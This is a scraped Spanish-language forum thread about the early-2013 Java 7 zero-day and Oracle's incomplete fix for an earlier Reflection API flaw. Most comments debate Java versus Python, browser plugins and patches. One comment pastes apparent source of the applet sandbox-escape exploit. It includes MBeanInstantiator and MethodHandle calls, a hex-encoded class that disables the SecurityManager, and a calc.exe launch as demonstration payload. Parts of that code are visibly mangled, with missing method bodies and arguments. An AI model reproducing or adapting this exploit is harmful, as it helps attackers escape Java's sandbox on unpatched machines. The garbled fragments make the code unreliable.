Hace 11 años | Por Sheldon_Cooper a thenextweb.com
Publicado hace 11 años por Sheldon_Cooper a thenextweb.com

La última vulnerabilidad de Java solo es posible porque Oracle no arregló una anterior según Security Explorations, la empresa responsable de identificar la mayoría de vulnerabilidades. A finales de agosto de 2012 la compañía avisó a Oracle sobre una implementación poco segura de la Reflection API, etiquetado como "Issue 32", y Oracle publicó un parche en octubre para arreglarlo aunque no lo hacía por completo. Relacionada: Descubren un 'exploit' de seguridad en Java 7 que afecta a cualquier sistema operativo
Hace 11 años | Por deepster a elmundo.es
Publicado hace 11 años por deepster
a elmundo.es

Un importante fallo de seguridad en Java 7 puede afectar a usuarios de Windows, OS X (Mac) y Linux s [...]

Comentarios

o

Esto con Python no pasa.

c

#9 Esto tampoco pasa con COBOL, después hablan de querer reemplazarlo con X lenguaje, mas moderno y acorde a los tiempos...novatos

AaLiYaH

#9 Se algo de Python y curro con Java y los "pythonistas" llegáis a cansarme...os pensáis que porque usáis un lenguaje poco común ya es la polla y que quieres que os diga, Python tiene cosas muy buenas, pero otras muchas pésimas.

Por ejemplo, si en España extendiéramos Python con la cantidad de programadores que no tienen ni idea (y Python se basa en que el desarrollador sabe lo que hace) tendríamos aplicaciones el doble de malas, que ya es decir (y no creas que se subiría el nivel de los programadores, aquí el software se vende al peso). Por no hablar de la cantidad de tecnologías con las que aun no es compatible dada su poca popularidad, o ciertas formas del lenguaje que a mi más que "elegantes" como las definís los pythonistas me parecen chapuzas metidas con calzador lol.

Pero vamos, es normal, nada es perfecto y toda tecnología tiene sus cosas buenas y sus cosas malas, depende en que contexto se utilice. Mira COBOL, se sigue usando en bancos y sistemas grandes por su estabilidad, pero su mantenimiento es infernal.

o

#c-31" class="content-link" style="color: rgb(227, 86, 20)" data-toggle="popover" data-popover-type="comment" data-popover-url="/tooltip/comment/1810678/order/31">#31 Respeto tu opinión, pero quiero matizar, Python no es para nada alternativo, es el 6° en popularidad por encima de C#, Perl, Ruby, ObjetiveC, etc..., por otro lado conozco bastante bien Python (no vamos a medirnos las pollas) y para encontrar algo que esté mal hecho hay que llegar muy lejos, y lo de cosas "pésimas" o te lo estás inventando a lo troll o no tienes ni zorra. Continuando dices que Python es malo porque el nivel empresarial en España es una mierda, pues no sabía yo que se podían calificar asi las cosas oiga, el Red Bull de Vettel debe ser una puta mierda porque no pasa los badenes de mi pueblo. Tecnologias no compatibles por su poca popularidad venga biba el fud... en fin, quieres dejar ver que los pythonistas son unos fanboys pero no sabes ni lo que dices.

Python debe ser muy pésimo, solo lo usa Google, la NASA, el FBI, etc... seguro que ellos hacen las cosas "con calzador" roll

AaLiYaH

#34 y los simuladores de vuelo ADA y los bancos COBOL y que? No me vale que me digas empresas que usen Python, las conozco, pero como te he dicho cada lenguaje tiene su aplicación y para determinadas aplicaciones que puede pedirte un cliente en España la mejor opción es Java.

Te pongo un ejemplo, para mi que reflection se haga a base de imports en Python me parece una chapuza metida con calzador, cuando en Java tienes clases abstractas o interfaces que hacen la POO mucho más elegante y legible. Corrígeme si me equivoco, pero lo que he visto de Python (nada en trabajo, sólo con cursos) funciona así.

Si nos vamos a poner a medir la popularidad de Java vs Python creo que sale bastamente perjudicado Python, y que Java sea el lenguaje más utilizado (aunque si no me equivoco C le ha quitado el primer puesto en 2012) denota que es la mejor opción en la mayoría de desarrollos. Ojo, no digo que Java sea mejor que Python en todos los desarrollos, por eso mismo no soporto los fanboys de Python que van diciendo que Python es mejor que Java because yes.

o

#36 Bueno, cuestion de gustos supongo, a mi la instrospección de Python y su OOP en general me parece una obra maestra, y en cambio las interfaces de Java me parecen un coñazo... aunque en Python tambien puedes usar interfaces si te mola la marcha, aunque logicamente nadie se pasa a Python para usarlo como Java.

Mi opinión es que Python es mejor que Java, ¿fanboys? si, los hay como en todo, pero creo que es una opinión bastante legítima. Tu eres Javero, pues ole tus webos, pero recuerda que todo esto viene del "esto con Python no pasa", y es verdad, nunca se han encontrado vulnerabilidades graves en el su equivalente a la maquina virtual de Java.

AaLiYaH

#38 Javera y por circunstancias (es de lo que curro), realmente no soy fanboy de Java, de hecho lo critico amargamente muchísimas veces, simplemente para mi gusto Java hace una POO más sencilla y las tecnologías disponibles son ilimitadas y de todos los formatos (de pago, grauitas, para linux, para windows...) y por eso creo que hay ámbitos en los que es una opción preferible a Python, por su sencillez (lo bueno de su popularidad es precisamente que existen mil frameworks para facilitarte cualquier funcionalidad que puedas requerir)

Python lo que he podido ver tiene también cosas que me encantaron (no tener que definir tipos, poder devolver en un return hasta el resultado de un if o un for, los diccionarios, su estilo...) y por eso quiero mirar cosas de Django. De hecho te diré un secreto, estoy intentando aprender Python precisamente para cambiarme de lenguaje en mi curro, que os pagan mucho mejor lol pero eso no significa que no critique lo que no me gusta de cualquier lenguaje, sea Python o Java .

D

El problema está en el plugin que se usa en los navegadores y que distribuye Oracle, no "en Java" (el lenguaje), o en todas las implementaciones.

"an untrusted Java applet can escalate its privileges" -- http://www.kb.cert.org/vuls/id/625617

La solución es desactivar el plugin, que es lo que viene haciendo Mozilla en Firefox de un tiempo a esta parte. Para la mayoría no será una gran pérdida, pero es posible que algunas páginas web específicas (¿bancos quizás? personalmente he visto más temas basados en Active-X que en Java) requieran ejecutar applets en páginas web.

o

#19 ¿Bancos haciendo cosas en Java? ROOT nos pille confesados...

D

#22 Imagino que te refieres al plugin del navegador, porque la verdad es que Java es en Cobol de los 90. No solo bancos, sino cualquier aplicación empresarial te puedes encontrar hecha en Java.

Lo de los applets no es para usuarios domésticos, sino para aplicaciones internas de los bancos (aunque creo que algún banco implemente atenticación con tarjeta + pin usando un applet; pero no puedo confirmarlo, es en Windows con lo que podría ser un Active-X).

o

#27 Solo como nota, de los 90 hace ya 23 años.

D

#29 Es una referencia a que Cobol era de facto el lenguaje de programación utilizado en entornos fiancieros y sobretodo bancos, hasta que ha sido más o menos reemplazando por otros lenguajes más modernos, siendo uno de los más importantes Java desde que en el 98 se publicara la plataforma J2EE (aunque no sé si se llamaba así en su primera versión, a Sun le gustaba marear con los acrónimos).

Si no conoces la expresión "los años X", que sepas que se refiere a la década y no al año en el que empieza... de hecho Java apareció en 1995.

devotee

#19 #22 El otro día mi madre me llamó porque no podía sacar los recibos de Asisa en su zona de cliente. Cuando lo miré, era justamente por esto, Firefox había desactivado el plugin de Java y en Asisa muestran los recibos con un applet.

gelatti

Oracle, Microsoft, Apple y Google colaboran para que se pueda espiar a todos los ciudadanos del mundo por agencias gubernamentales.

Linux la solución.

D

#5 la solución pasa por encriptar las comunicaciones, e incluso las particiones de tu ordenador.

cmoft

"Until the company provides guidance or issues a patch, we recommend uninstalling Java if you don’t need it and disabling it if you do."

Ahora sí que recomiendan directamente desinstalar java.

Lo que no me termina claro es lo del parche. Si lo he entendido bien, al intentar arreglar un fallo descubierto en agosto, lo hicieron de forma chapucera y dejaron abierta la puerta para usar esta vulnerabilidad. ¿Eso significa que la vulnerabilidad solo funciona en las versiones parcheadas, o que ya estaba en las anteriores y no la corrigieron?

En cualquier caso, suena a que los de Oracle son ligeramente chapuzas (Aunque tampoco es ninguna sorpresa...)

D

OpenJDK y a tomar por culo.

juanparati

#6 Me temo que desafortunadamente sí, mira por ejemplo OpenSolaris y OS/400, otra cosa es que los sysadmins no suele utilizar servidores caros para navegar por Internet, por lo cual es bastante difícil que se ejecuten applets de Java, y si ademas le sumamos que las rutinas de infección del paypload deben ser compatibles para estas plataformas. Como extra de dificultad y teniendo en cuenta que se ejecute un applet y las rutinas de infección sean compatibles, Java va a estar ejecutándose en el user space de un usuario que probablemente no tenga permiso de escritura en los directorios del sistema tal como /etc, /usr, /bin o /var, como mucho infectará la carpeta del usuario.

D

#12 Luego está Fedora con SeLinux...

enlaza

#14
¿Y quién sabe explicar en lenguaje sencillo las diferencias reales entre Apparmor y SELinux.?

demostenes

Y digo yo ¿y si Google implementara el motor Java de Android en Chrome y como plugin al resto de navegadores? Es un motor diferente al de Oracle y por lo tanto podrian hacerlo más seguro.

D

Hubo parche en Octubre.

Aunque parece que no les salió bien del todo.

D

Máquina virtual Java: multiplataforma sin recompilar con todas sus consecuencias.

Al menos los que utilizamos OpenJRE tenemos menos vulnerabilidades de las que preocuparnos.

comodo

Je, je, aquí llega el tonto de turno, el que se cagó en el trombón creyendo que era un water de oro (YO). Acabo de desinstalar Java ¿para que servia? ¿En que va a cambiar mi vida sin java en mai pesional campiuter?

Sheldon_Cooper

#32: jdownloader, minecraft, el live timing oficial de la formula 1 (algo que usamos 4, eso si), libreoffice creo que aún tiene algunas dependencias de java (nada crítico por suerte, solo algún asistente). Algunas webs de periódicos creo que siguen poniendo headlines de ultima hora en un applet java (aunque hace años que no lo veo)...

ummon

Java: Vulnerabilidades de OS, máquina virtual y de la propia aplicación.
C/C++: Vulnerabilidades de OS y de la propia aplicación.
Para mí siempre ha estado claro, pero la máquina de marketing de la antigua SUN hizo un buen trabajo, las conferencias de SUN eran magistrales con sus evangelizadores tecnológicos.

juanparati

El exploit en cuestion es algo como esto:

/*
Java 0day 1.7.0_10 decrypted source
Originaly placed on https://damagelab.org/index.php?showtopic=23719&st=0
From Russia with love.
*/

import java.applet.Applet;

import com.sun.jmx.mbeanserver.JmxMBeanServer;

import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;

import com.sun.jmx.mbeanserver.MBeanInstantiator;

import java.lang.invoke.MethodHandle;

import java.lang.invoke.MethodHandles;

import java.lang.invoke.MethodType;

import java.lang.reflect.Method;

public byte[] hex2Byte(String paramString)





return arrayOfByte;

}

public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001
00063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C6501
00124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F4578
63657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F
07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F757263
6546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F
457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A65637401000142
0100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E41637469
6F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F
50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C6567656445
7863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176
612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A
6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000
020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100
040009000C00030003000B000000120004000000080004000B0009000C000D000D000C0000001600
02000D0000000D000E00010000000E000F001000000011000000100002FF000C0001070012000107
0013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B0000000
02000B0000000A00020000001000040011000C0000000C00010000000C000F001000000001001600
0000020017";



public void init()


MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();

ClassLoader a = null;

Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);

Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);

MethodHandles.Lookup localLookup = MethodHandles.publicLookup();

MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class ">
);

MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);

MethodType localMethodType2 = MethodType.methodType(Void.TYPE);

MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] );

Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);

MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] );

MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);

MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);

MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] );

Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] );

MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] );

MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] );

Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] );

localClass3.newInstance();





Runtime.getRuntime().exec("calc.exe");



}

catch (Throwable ex)

}

}

l

No son tan buenos managers como se creen si no son capaces de gestionar el desarrollo de Java correctamente.

Nova6K0

Para mí son dos exploits distintos pero basados en el mismo problema:

El de agosto de 2012 es este:

http://www.kb.cert.org/vuls/id/636312

Y el del 10 de enero de 2013 es este:

http://www.kb.cert.org/vuls/id/625617

Y por cierto el OpenJDK está afectado también en el primer caso.

Salu2

PussyLover

Ya está publicada la actualización que corrige el bug.

http://www.oracle.com/technetwork/topics/security/alert-cve-2013-0422-1896849.html

Java 7 Update 11.

D

#0, el título que has puesto me parece un poco sensacionalista, la entradilla es más justa con el artículo.

g

Lo que tiene que hacer Oracle es mandar a tomar por cul* los applets y quitarlos directamente de Java 8, es una tecnología obsoleta y que casi nadie usa (los applets)

q

#16 Se sigue usando mucho en intranets desgraciadamente y para cosas como certificados etc.. Primero fue ActiveX, luego Flash y ahora Java, todos los intentos de proveer un plugin de navegador que se integre mínimamente con el sistema han fracasado estrepitosamente en seguridad.

w

No entiendo nada..